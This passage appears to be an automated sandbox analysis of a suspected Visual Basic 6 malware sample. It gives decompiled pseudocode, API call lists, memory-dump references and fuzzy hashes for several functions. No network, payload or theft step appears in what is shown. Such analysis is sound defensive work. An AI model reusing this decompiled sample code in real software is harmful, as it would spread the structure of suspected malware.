				_t67 =  &_v36;
				L0040169C();
				_v72 = _t67;
				_v60 = 1;
				_v68 = 2;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t71 =  *((intOrPtr*)( *_v72 + 0x190))(_v72, 0x10, _t67,  *((intOrPtr*)( *((intOrPtr*)( *_v96)) + 0x308))( *_v96));
				asm("fclex");
				_v76 = _t71;
				if(_v76 >= 0) {
					_v100 = _v100 & 0x00000000;
				} else {
					_push(0x190);
					_push(0x4113bc);
					_push(_v72);
					_push(_v76);
					L00401690();
					_v100 = _t71;
				}
				L0040168A();
				_v28 = 0xc2062000;
				_v24 = 0x5b07;
				_push(0x4142ed);
				return _t71;
			}

0x0041410a
0x00414115
0x00414116
0x0041411f
0x00414120
0x00414128
0x0041412b
0x00414132
0x0041413c
0x00414141
0x00414142
0x00414147
0x0041414e
0x00414153
0x0041415a
0x00414165
0x00414172
0x0041418c
0x00414174
0x00414174
0x00414179
0x0041417e
0x00414183
0x00414183
0x004141a7
0x004141ab
0x004141b0
0x004141bf
0x004141c2
0x004141c4
0x004141cb
0x004141e4
0x004141cd
0x004141cd
0x004141cf
0x004141d4
0x004141d7
0x004141da
0x004141df
0x004141df
0x004141eb
0x004141ee
0x004141f5
0x004141f8
0x00414202
0x00414203
0x0041420b
0x00414213
0x00414213
0x0041421f
0x00414239
0x00414221
0x00414221
0x00414226
0x0041422b
0x00414230
0x00414230
0x00414254
0x00414258
0x0041425d
0x00414260
0x00414267
0x00414271
0x0041427b
0x0041427c
0x0041427d
0x0041427e
0x00414287
0x0041428d
0x0041428f
0x00414296
0x004142b2
0x00414298
0x00414298
0x0041429d
0x004142a2
0x004142a5
0x004142a8
0x004142ad
0x004142ad
0x004142b9
0x004142be
0x004142c5
0x004142cc
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00414120
#669.MSVBVM60(?,?,?,?,004014B6), ref: 00414132
__vbaStrMove.MSVBVM60(?,?,?,?,004014B6), ref: 0041413C
__vbaStrCmp.MSVBVM60(Irrationales,00000000,?,?,?,?,004014B6), ref: 00414147
__vbaFreeStr.MSVBVM60(Irrationales,00000000,?,?,?,?,004014B6), ref: 0041415A
__vbaNew2.MSVBVM60(0041192C,00419010,Irrationales,00000000,?,?,?,?,004014B6), ref: 0041417E
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,Irrationales,00000000), ref: 004141AB
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,00000050), ref: 004141DA
#529.MSVBVM60(00000008,?,?,?,?,?,?,?,?,?,?,?,?,Irrationales,00000000), ref: 00414203
__vbaFreeObj.MSVBVM60(00000008,?,?,?,?,?,?,?,?,?,?,?,?,Irrationales,00000000), ref: 0041420B
__vbaFreeVar.MSVBVM60(00000008,?,?,?,?,?,?,?,?,?,?,?,?,Irrationales,00000000), ref: 00414213
__vbaNew2.MSVBVM60(0041192C,00419010,Irrationales,00000000,?,?,?,?,004014B6), ref: 0041422B
__vbaObjSet.MSVBVM60(?,00000000), ref: 00414258
__vbaChkstk.MSVBVM60(?,00000000), ref: 00414271
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000190), ref: 004142A8
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Irrationales,00000000), ref: 004142B9

Strings

Irrationales, xrefs: 00414142

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkHresultNew2$#529#669Move
String ID: Irrationales
API String ID: 314221948-867213255
Opcode ID: 34215cc0dc321a7eacd5194284e9d8d5e65182d84966dd77ed7cbc4b49c4b519
Instruction ID: ad50dd2ffc986986b8b0aafa962a04acf74fae48571a06269f733cfe9c742e9f
Opcode Fuzzy Hash: 34215cc0dc321a7eacd5194284e9d8d5e65182d84966dd77ed7cbc4b49c4b519
Instruction Fuzzy Hash: 0651EC75D002089FDB10DFD1C859BEEBBB8BF08704F24452AF501BB2A1D7796986DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00417385, Relevance: 28.7, APIs: 19, Instructions: 194
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00417385(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				intOrPtr _v68;
				intOrPtr _v76;
				intOrPtr _v84;
				void* _v88;
				signed int _v92;
				intOrPtr* _v96;
				signed int _v100;
				intOrPtr* _v108;
				intOrPtr* _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr* _v124;
				signed int _v128;
				char* _t80;
				char* _t84;
				signed int _t88;
				signed int _t92;
				char* _t98;
				signed int _t104;
				intOrPtr _t117;
				intOrPtr _t133;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t133;
				_push(0x6c);
				L004014B0();
				_v12 = _t133;
				_v8 = 0x4013a0;
				L00401684();
				if( *0x419010 != 0) {
					_v108 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v108 = 0x419010;
				}
				_push( *((intOrPtr*)( *((intOrPtr*)( *_v108)) + 0x32c))( *_v108));
				_t80 =  &_v36;
				_push(_t80);
				L0040169C();
				_v96 = _t80;
				_v44 = 0x80020004;
				_v52 = 0xa;
				if( *0x419010 != 0) {
					_v112 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v112 = 0x419010;
				}
				_t84 =  &_v32;
				L0040169C();
				_v88 = _t84;
				_t88 =  *((intOrPtr*)( *_v88 + 0x50))(_v88,  &_v28, _t84,  *((intOrPtr*)( *((intOrPtr*)( *_v112)) + 0x324))( *_v112));
				asm("fclex");
				_v92 = _t88;
				if(_v92 >= 0) {
					_v116 = _v116 & 0x00000000;
				} else {
					_push(0x50);
					_push(0x411410);
					_push(_v88);
					_push(_v92);
					L00401690();
					_v116 = _t88;
				}
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t92 =  *((intOrPtr*)( *_v96 + 0x1ec))(_v96, _v28, 0x10);
				asm("fclex");
				_v100 = _t92;
				if(_v100 >= 0) {
					_v120 = _v120 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x4113f0);
					_push(_v96);
					_push(_v100);
					L00401690();
					_v120 = _t92;
				}
				L0040165A();
				_push( &_v36);
				_push( &_v32);
				_push(2);
				L00401654();
				if( *0x419010 != 0) {
					_v124 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v124 = 0x419010;
				}
				_t117 =  *((intOrPtr*)( *_v124));
				_t98 =  &_v32;
				L0040169C();
				_v88 = _t98;
				_v76 = 0x80020004;
				_v84 = 0xa;
				_v60 = 0x80020004;
				_v68 = 0xa;
				_v44 = 0x80020004;
				_v52 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v88 =  *0x401398;
				_t104 =  *((intOrPtr*)( *_v88 + 0x1cc))(_v88, _t117, 0x10, 0x10, 0x10, _t98,  *((intOrPtr*)(_t117 + 0x374))( *_v124));
				asm("fclex");
				_v92 = _t104;
				if(_v92 >= 0) {
					_v128 = _v128 & 0x00000000;
				} else {
					_push(0x1cc);
					_push(0x4113ac);
					_push(_v88);
					_push(_v92);
					L00401690();
					_v128 = _t104;
				}
				L0040168A();
				asm("wait");
				_push(0x41760f);
				L0040165A();
				return _t104;
			}

0x0041738a
0x00417395
0x00417396
0x0041739d
0x004173a0
0x004173a8
0x004173ab
0x004173b8
0x004173c4
0x004173de
0x004173c6
0x004173c6
0x004173cb
0x004173d0
0x004173d5
0x004173d5
0x004173f8
0x004173f9
0x004173fc
0x004173fd
0x00417402
0x00417405
0x0041740c
0x0041741a
0x00417434
0x0041741c
0x0041741c
0x00417421
0x00417426
0x0041742b
0x0041742b
0x0041744f
0x00417453
0x00417458
0x00417467
0x0041746a
0x0041746c
0x00417473
0x0041748c
0x00417475
0x00417475
0x00417477
0x0041747c
0x0041747f
0x00417482
0x00417487
0x00417487
0x00417493
0x0041749d
0x0041749e
0x0041749f
0x004174a0
0x004174ac
0x004174b2
0x004174b4
0x004174bb
0x004174d7
0x004174bd
0x004174bd
0x004174c2
0x004174c7
0x004174ca
0x004174cd
0x004174d2
0x004174d2
0x004174de
0x004174e6
0x004174ea
0x004174eb
0x004174ed
0x004174fc
0x00417516
0x004174fe
0x004174fe
0x00417503
0x00417508
0x0041750d
0x0041750d
0x00417527
0x00417531
0x00417535
0x0041753a
0x0041753d
0x00417544
0x0041754b
0x00417552
0x00417559
0x00417560
0x0041756a
0x00417574
0x00417575
0x00417576
0x00417577
0x0041757b
0x00417585
0x00417586
0x00417587
0x00417588
0x0041758c
0x00417596
0x00417597
0x00417598
0x00417599
0x004175a1
0x004175ac
0x004175b2
0x004175b4
0x004175bb
0x004175d7
0x004175bd
0x004175bd
0x004175c2
0x004175c7
0x004175ca
0x004175cd
0x004175d2
0x004175d2
0x004175de
0x004175e3
0x004175e4
0x00417609
0x0041760e

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 004173A0
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004173B8
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 004173D0
__vbaObjSet.MSVBVM60(?,00000000), ref: 004173FD
__vbaNew2.MSVBVM60(0041192C,00419010,?,00000000), ref: 00417426
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417453
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411410,00000050), ref: 00417482
__vbaChkstk.MSVBVM60 ref: 00417493
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 004174CD
__vbaFreeStr.MSVBVM60 ref: 004174DE
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004174ED
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00417508
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417535
__vbaChkstk.MSVBVM60(?,00000000), ref: 0041756A
__vbaChkstk.MSVBVM60(?,00000000), ref: 0041757B
__vbaChkstk.MSVBVM60(?,00000000), ref: 0041758C
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,000001CC,?,?,00000000), ref: 004175CD
__vbaFreeObj.MSVBVM60(?,?,00000000), ref: 004175DE
__vbaFreeStr.MSVBVM60(0041760F,?,?,00000000), ref: 00417609

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Chkstk$Free$CheckHresultNew2$CopyList
String ID:
API String ID: 3169856408-0
Opcode ID: 058af89e2f0237a47ecd9c895a7539fe8580d7e13e196e4c14c06da559b2be20
Instruction ID: 384889c10a3ef9f804f4880449b9858776da707a02e239e1233e71d36d1c30ef
Opcode Fuzzy Hash: 058af89e2f0237a47ecd9c895a7539fe8580d7e13e196e4c14c06da559b2be20
Instruction Fuzzy Hash: 63710A71D00608DFDB11DFE0C855BEEBBB9BF09704F20492AE501BB2A1C7BA5985DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004179F7, Relevance: 28.7, APIs: 19, Instructions: 167
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004179F7(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				void* _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v56;
				signed int _v60;
				intOrPtr _v68;
				intOrPtr* _v72;
				signed int _v76;
				intOrPtr* _v80;
				signed int _v84;
				intOrPtr* _v88;
				signed int _v92;
				signed int _v96;
				char* _t87;
				signed int _t90;
				char* _t94;
				signed int _t97;
				signed int _t103;
				signed int _t108;
				signed int _t109;
				intOrPtr _t134;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t134;
				_push(0x4c);
				L004014B0();
				_v12 = _t134;
				_v8 = 0x4013e0;
				L00401684();
				L00401684();
				if( *0x419010 != 0) {
					_v72 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v72 = 0x419010;
				}
				_t87 =  &_v44;
				L0040169C();
				_v48 = _t87;
				_t90 =  *((intOrPtr*)( *_v48 + 0x194))(_v48, _t87,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x300))( *_v72));
				asm("fclex");
				_v52 = _t90;
				if(_v52 >= 0) {
					_v76 = _v76 & 0x00000000;
				} else {
					_push(0x194);
					_push(0x411644);
					_push(_v48);
					_push(_v52);
					L00401690();
					_v76 = _t90;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v80 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v80 = 0x419010;
				}
				_t94 =  &_v44;
				L0040169C();
				_v48 = _t94;
				_t97 =  *((intOrPtr*)( *_v48 + 0x1d8))(_v48, _t94,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x348))( *_v80));
				asm("fclex");
				_v52 = _t97;
				if(_v52 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x1d8);
					_push(0x411324);
					_push(_v48);
					_push(_v52);
					L00401690();
					_v84 = _t97;
				}
				L0040168A();
				if( *0x41931c != 0) {
					_v88 = 0x41931c;
				} else {
					_push(0x41931c);
					_push(0x41137c);
					L00401696();
					_v88 = 0x41931c;
				}
				_v48 =  *_v88;
				_t103 =  *((intOrPtr*)( *_v48 + 0x14))(_v48,  &_v44);
				asm("fclex");
				_v52 = _t103;
				if(_v52 >= 0) {
					_v92 = _v92 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x41136c);
					_push(_v48);
					_push(_v52);
					L00401690();
					_v92 = _t103;
				}
				_v56 = _v44;
				_t108 =  *((intOrPtr*)( *_v56 + 0x130))(_v56,  &_v40);
				asm("fclex");
				_v60 = _t108;
				if(_v60 >= 0) {
					_v96 = _v96 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x4114f4);
					_push(_v56);
					_push(_v60);
					L00401690();
					_v96 = _t108;
				}
				_t109 = _v40;
				_v68 = _t109;
				_v40 = _v40 & 0x00000000;
				L00401648();
				L0040168A();
				_v28 =  *0x4013d8;
				asm("wait");
				_push(0x417c46);
				L0040165A();
				L0040165A();
				L0040165A();
				return _t109;
			}

0x004179fc
0x00417a07
0x00417a08
0x00417a0f
0x00417a12
0x00417a1a
0x00417a1d
0x00417a2a
0x00417a35
0x00417a41
0x00417a5b
0x00417a43
0x00417a43
0x00417a48
0x00417a4d
0x00417a52
0x00417a52
0x00417a76
0x00417a7a
0x00417a7f
0x00417a8a
0x00417a90
0x00417a92
0x00417a99
0x00417ab5
0x00417a9b
0x00417a9b
0x00417aa0
0x00417aa5
0x00417aa8
0x00417aab
0x00417ab0
0x00417ab0
0x00417abc
0x00417ac8
0x00417ae2
0x00417aca
0x00417aca
0x00417acf
0x00417ad4
0x00417ad9
0x00417ad9
0x00417afd
0x00417b01
0x00417b06
0x00417b11
0x00417b17
0x00417b19
0x00417b20
0x00417b3c
0x00417b22
0x00417b22
0x00417b27
0x00417b2c
0x00417b2f
0x00417b32
0x00417b37
0x00417b37
0x00417b43
0x00417b4f
0x00417b69
0x00417b51
0x00417b51
0x00417b56
0x00417b5b
0x00417b60
0x00417b60
0x00417b75
0x00417b84
0x00417b87
0x00417b89
0x00417b90
0x00417ba9
0x00417b92
0x00417b92
0x00417b94
0x00417b99
0x00417b9c
0x00417b9f
0x00417ba4
0x00417ba4
0x00417bb0
0x00417bbf
0x00417bc5
0x00417bc7
0x00417bce
0x00417bea
0x00417bd0
0x00417bd0
0x00417bd5
0x00417bda
0x00417bdd
0x00417be0
0x00417be5
0x00417be5
0x00417bee
0x00417bf1
0x00417bf4
0x00417bfe
0x00417c06
0x00417c11
0x00417c14
0x00417c15
0x00417c30
0x00417c38
0x00417c40
0x00417c45

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00417A12
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00417A2A
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00417A35
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00417A4D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417A7A
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411644,00000194), ref: 00417AAB
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417ABC
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00417AD4
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417B01
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411324,000001D8), ref: 00417B32
__vbaFreeObj.MSVBVM60 ref: 00417B43
__vbaNew2.MSVBVM60(0041137C,0041931C), ref: 00417B5B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000014), ref: 00417B9F
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114F4,00000130), ref: 00417BE0
__vbaStrMove.MSVBVM60 ref: 00417BFE
__vbaFreeObj.MSVBVM60 ref: 00417C06
__vbaFreeStr.MSVBVM60(00417C46), ref: 00417C30
__vbaFreeStr.MSVBVM60(00417C46), ref: 00417C38
__vbaFreeStr.MSVBVM60(00417C46), ref: 00417C40

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$New2$Copy$ChkstkMove
String ID:
API String ID: 1233010552-0
Opcode ID: 71ac184c2f0f54c63e4a2f5d30a6d6b57f5ca306e76126bebc757b2b107ac9c3
Instruction ID: fd318ce9fee4214692bf343917ab24f66deae56bf3d727db3b27f164e5813179
Opcode Fuzzy Hash: 71ac184c2f0f54c63e4a2f5d30a6d6b57f5ca306e76126bebc757b2b107ac9c3
Instruction Fuzzy Hash: 1971C171D04208EFCB00EFE5C895BDDBBB4BF18309F24842AE511B72A1D7796985DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00416372, Relevance: 28.6, APIs: 19, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00416372(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* _a16, void* _a24, void* _a32) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				char _v40;
				char _v44;
				char _v60;
				intOrPtr* _v64;
				signed int _v68;
				intOrPtr* _v76;
				signed int _v80;
				char* _t39;
				char* _t43;
				signed int _t47;
				char* _t49;
				intOrPtr _t73;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t73;
				_t39 = 0x3c;
				L004014B0();
				_v12 = _t73;
				_v8 = 0x401328;
				L00401684();
				L00401684();
				L00401684();
				asm("fldz");
				L00401516();
				L004015E2();
				asm("fcomp qword [0x401320]");
				asm("fnstsw ax");
				asm("sahf");
				if(__eflags != 0) {
					if( *0x419010 != 0) {
						_v76 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v76 = 0x419010;
					}
					_t43 =  &_v40;
					L0040169C();
					_v64 = _t43;
					_t47 =  *((intOrPtr*)( *_v64 + 0x148))(_v64,  &_v44, _t43,  *((intOrPtr*)( *((intOrPtr*)( *_v76)) + 0x378))( *_v76));
					asm("fclex");
					_v68 = _t47;
					if(_v68 >= 0) {
						_t25 =  &_v80;
						 *_t25 = _v80 & 0x00000000;
						__eflags =  *_t25;
					} else {
						_push(0x148);
						_push(0x4113ac);
						_push(_v64);
						_push(_v68);
						L00401690();
						_v80 = _t47;
					}
					_push(0);
					_push(0);
					_push(_v44);
					_push( &_v60);
					L00401618();
					_push(1);
					_t49 =  &_v60;
					_push(_t49);
					L004015A6();
					L00401648();
					_push(_t49);
					L004015AC();
					L0040165A();
					_push( &_v44);
					_t39 =  &_v40;
					_push(_t39);
					_push(2);
					L00401654();
					L00401636();
				}
				asm("wait");
				_push(0x4164f2);
				L0040165A();
				L0040165A();
				L0040165A();
				return _t39;
			}

0x00416377
0x00416382
0x00416383
0x0041638c
0x0041638d
0x00416395
0x00416398
0x004163a5
0x004163b0
0x004163bb
0x004163c0
0x004163c2
0x004163c7
0x004163cc
0x004163d2
0x004163d4
0x004163d5
0x004163e2
0x004163fc
0x004163e4
0x004163e4
0x004163e9
0x004163ee
0x004163f3
0x004163f3
0x00416417
0x0041641b
0x00416420
0x0041642f
0x00416435
0x00416437
0x0041643e
0x0041645a
0x0041645a
0x0041645a
0x00416440
0x00416440
0x00416445
0x0041644a
0x0041644d
0x00416450
0x00416455
0x00416455
0x0041645e
0x00416460
0x00416462
0x00416468
0x00416469
0x00416471
0x00416473
0x00416476
0x00416477
0x00416481
0x00416486
0x00416487
0x0041648f
0x00416497
0x00416498
0x0041649b
0x0041649c
0x0041649e
0x004164a9
0x004164a9
0x004164ae
0x004164af
0x004164dc
0x004164e4
0x004164ec
0x004164f1

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 0041638D
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004163A5
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004163B0
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004163BB
_CIcos.MSVBVM60(?,?,?,?,004014B6), ref: 004163C2
__vbaFpR8.MSVBVM60(?,?,?,?,004014B6), ref: 004163C7
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 004163EE
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041641B
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,00000148), ref: 00416450
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 00416469
__vbaStrVarMove.MSVBVM60(?,00000001), ref: 00416477
__vbaStrMove.MSVBVM60(?,00000001), ref: 00416481
#580.MSVBVM60(00000000,?,00000001), ref: 00416487
__vbaFreeStr.MSVBVM60(00000000,?,00000001), ref: 0041648F
__vbaFreeObjList.MSVBVM60(00000002,?,?,00000000,?,00000001), ref: 0041649E
__vbaFreeVar.MSVBVM60(00000000,?,00000001), ref: 004164A9
__vbaFreeStr.MSVBVM60(004164F2,?,?,?,?,004014B6), ref: 004164DC
__vbaFreeStr.MSVBVM60(004164F2,?,?,?,?,004014B6), ref: 004164E4
__vbaFreeStr.MSVBVM60(004164F2,?,?,?,?,004014B6), ref: 004164EC

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Copy$Move$#580CallCheckChkstkHresultIcosLateListNew2
String ID:
API String ID: 29270831-0
Opcode ID: 6398996c0ad31aa0f488f9896509441aef8d954e8e9500fceea21f30cf39d43a
Instruction ID: e5948ea1978b8519b660bda8ebf3a9cc58dcef69bbc5a0089734a8f998c705e4
Opcode Fuzzy Hash: 6398996c0ad31aa0f488f9896509441aef8d954e8e9500fceea21f30cf39d43a
Instruction Fuzzy Hash: 55412971D00209ABCB10EFA1CC56FEEBBB8AF14308F14452AF502B71A1DB79A945CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004151C9, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E004151C9(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				char _v36;
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr* _v56;
				signed int _v60;
				intOrPtr* _v72;
				signed int _v76;
				intOrPtr* _v80;
				signed int _v84;
				char* _t60;
				signed int _t64;
				char* _t68;
				signed int _t71;
				void* _t91;
				void* _t93;
				intOrPtr _t94;

				_t94 = _t93 - 0xc;
				 *[fs:0x0] = _t94;
				L004014B0();
				_v16 = _t94;
				_v12 = 0x401288;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x3c,  *[fs:0x0], 0x4014b6, _t91);
				L00401684();
				L00401684();
				if( *0x419010 != 0) {
					_v72 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v72 = 0x419010;
				}
				_t60 =  &_v36;
				L0040169C();
				_v56 = _t60;
				_v44 = 0x80020004;
				_v52 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t64 =  *((intOrPtr*)( *_v56 + 0x1ec))(_v56, L"NEAPOLITANERNE", 0x10, _t60,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x384))( *_v72));
				asm("fclex");
				_v60 = _t64;
				if(_v60 >= 0) {
					_v76 = _v76 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x4113f0);
					_push(_v56);
					_push(_v60);
					L00401690();
					_v76 = _t64;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v80 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v80 = 0x419010;
				}
				_t68 =  &_v36;
				L0040169C();
				_v56 = _t68;
				_t71 =  *((intOrPtr*)( *_v56 + 0x138))(_v56, _t68,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x35c))( *_v80));
				asm("fclex");
				_v60 = _t71;
				if(_v60 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x138);
					_push(0x4114a8);
					_push(_v56);
					_push(_v60);
					L00401690();
					_v84 = _t71;
				}
				L0040168A();
				_push(0x415372);
				L0040165A();
				L0040165A();
				return _t71;
			}

0x004151cc
0x004151db
0x004151e5
0x004151ed
0x004151f0
0x004151f7
0x00415206
0x0041520f
0x0041521a
0x00415226
0x00415240
0x00415228
0x00415228
0x0041522d
0x00415232
0x00415237
0x00415237
0x0041525b
0x0041525f
0x00415264
0x00415267
0x0041526e
0x00415278
0x00415282
0x00415283
0x00415284
0x00415285
0x00415293
0x00415299
0x0041529b
0x004152a2
0x004152be
0x004152a4
0x004152a4
0x004152a9
0x004152ae
0x004152b1
0x004152b4
0x004152b9
0x004152b9
0x004152c5
0x004152d1
0x004152eb
0x004152d3
0x004152d3
0x004152d8
0x004152dd
0x004152e2
0x004152e2
0x00415306
0x0041530a
0x0041530f
0x0041531a
0x00415320
0x00415322
0x00415329
0x00415345
0x0041532b
0x0041532b
0x00415330
0x00415335
0x00415338
0x0041533b
0x00415340
0x00415340
0x0041534c
0x00415351
0x00415364
0x0041536c
0x00415371

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 004151E5
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041520F
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041521A
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00415232
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041525F
__vbaChkstk.MSVBVM60(?,00000000), ref: 00415278
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 004152B4
__vbaFreeObj.MSVBVM60 ref: 004152C5
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 004152DD
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041530A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,00000138), ref: 0041533B
__vbaFreeObj.MSVBVM60 ref: 0041534C
__vbaFreeStr.MSVBVM60(00415372), ref: 00415364
__vbaFreeStr.MSVBVM60(00415372), ref: 0041536C

Strings

NEAPOLITANERNE, xrefs: 00415286

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkCopyHresultNew2
String ID: NEAPOLITANERNE
API String ID: 2810356740-375774541
Opcode ID: 04f7a4f6918f75618e3406eb696efcd294eeae8f70936f8b6d83cf77d6339239
